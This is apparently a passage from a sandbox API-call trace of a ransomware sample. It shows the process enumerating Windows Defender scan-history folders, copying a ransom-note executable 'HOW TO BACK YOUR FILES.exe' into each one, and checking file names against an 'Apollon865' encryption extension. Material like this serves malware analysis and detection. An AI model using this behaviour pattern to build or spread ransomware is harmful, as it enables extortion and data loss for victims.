	[0050.757] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.757] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.757] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.757] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.758] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd30
	[0050.758] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History"
	[0050.758] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History"
	[0050.758] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.758] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.758] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.758] GetLastError () returned 0x0
	[0050.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.758] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.758] CloseHandle (hObject=0x15c) returned 1
	[0050.758] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.758] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.759] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.759] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.759] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="CacheManager" | out: lpString1="CacheManager") returned="CacheManager"
	[0050.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0050.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599450
	[0050.759] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fe30
	[0050.759] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.759] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.759] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Results", cAlternateFileName="")) returned 1
	[0050.759] lstrcmpiW (lpString1="Results", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.759] lstrcmpiW (lpString1="Results", lpString2="Apollon865.txt.exe") returned 1
	[0050.759] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Results" | out: lpString1="Results") returned="Results"
	[0050.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0050.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf4e0
	[0050.759] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0050.759] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Service", cAlternateFileName="")) returned 1
	[0050.759] lstrcmpiW (lpString1="Service", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.759] lstrcmpiW (lpString1="Service", lpString2="Apollon865.txt.exe") returned 1
	[0050.759] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Service" | out: lpString1="Service") returned="Service"
	[0050.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe68
	[0050.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf568
	[0050.759] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe70 | out: ListHead=0x5b76b0, ListEntry=0x59fe70) returned 0x59fe50
	[0050.759] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 1
	[0050.759] lstrcmpiW (lpString1="Store", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.759] lstrcmpiW (lpString1="Store", lpString2="Apollon865.txt.exe") returned 1
	[0050.759] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Store" | out: lpString1="Store") returned="Store"
	[0050.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0050.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf788
	[0050.760] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0050.760] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 0
	[0050.760] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.760] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe90
	[0050.760] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store"
	[0050.760] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store"
	[0050.760] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.760] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\store\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.760] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.760] GetLastError () returned 0x0
	[0050.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.760] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.761] CloseHandle (hObject=0x15c) returned 1
	[0050.761] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.761] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.761] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.761] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.761] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service"
	[0050.761] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service"
	[0050.761] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.761] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.761] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.761] GetLastError () returned 0x0
	[0050.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.762] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.762] CloseHandle (hObject=0x15c) returned 1
	[0050.762] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.762] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.762] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.762] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.762] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="History.Log" | out: lpString1="History.Log") returned="History.Log"
	[0050.762] lstrlenW (lpString="History.Log") returned 11
	[0050.762] lstrlenW (lpString="Apollon865") returned 10
	[0050.762] lstrcmpiW (lpString1="istory.Log", lpString2="Apollon865") returned 1
	[0050.762] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Unknown.Log" | out: lpString1="Unknown.Log") returned="Unknown.Log"
	[0050.762] lstrlenW (lpString="Unknown.Log") returned 11
	[0050.762] lstrlenW (lpString="Apollon865") returned 10
	[0050.762] lstrcmpiW (lpString1="nknown.Log", lpString2="Apollon865") returned 1
	[0050.762] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results"
	[0050.762] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results"
	[0050.762] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.762] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.763] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.763] GetLastError () returned 0x0
	[0050.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.763] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.763] CloseHandle (hObject=0x15c) returned 1
	[0050.763] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.763] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.764] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.764] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.764] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Resource" | out: lpString1="Resource") returned="Resource"
	[0050.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0050.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5994e8
	[0050.764] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0050.764] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 0
	[0050.764] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.764] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe50
	[0050.764] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource"
	[0050.764] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource"
	[0050.764] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.764] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results\\resource\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.764] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.764] GetLastError () returned 0x0
	[0050.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.765] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.765] CloseHandle (hObject=0x15c) returned 1
	[0050.765] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.765] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.765] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.765] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.765] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}" | out: lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}"
	[0050.765] lstrlenW (lpString="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 38
	[0050.765] lstrlenW (lpString="Apollon865") returned 10
	[0050.765] lstrcmpiW (lpString1="8D4A9AFB0}", lpString2="Apollon865") returned -1
	[0050.765] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager"
	[0050.765] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager"
	[0050.765] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.765] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.766] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.766] GetLastError () returned 0x0
	[0050.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.766] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.766] CloseHandle (hObject=0x15c) returned 1
	[0050.766] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.766] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.766] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.766] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.766] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="MpSfc.bin" | out: lpString1="MpSfc.bin") returned="MpSfc.bin"
	[0050.766] lstrlenW (lpString="MpSfc.bin") returned 9
	[0050.766] lstrlenW (lpString="Apollon865") returned 10
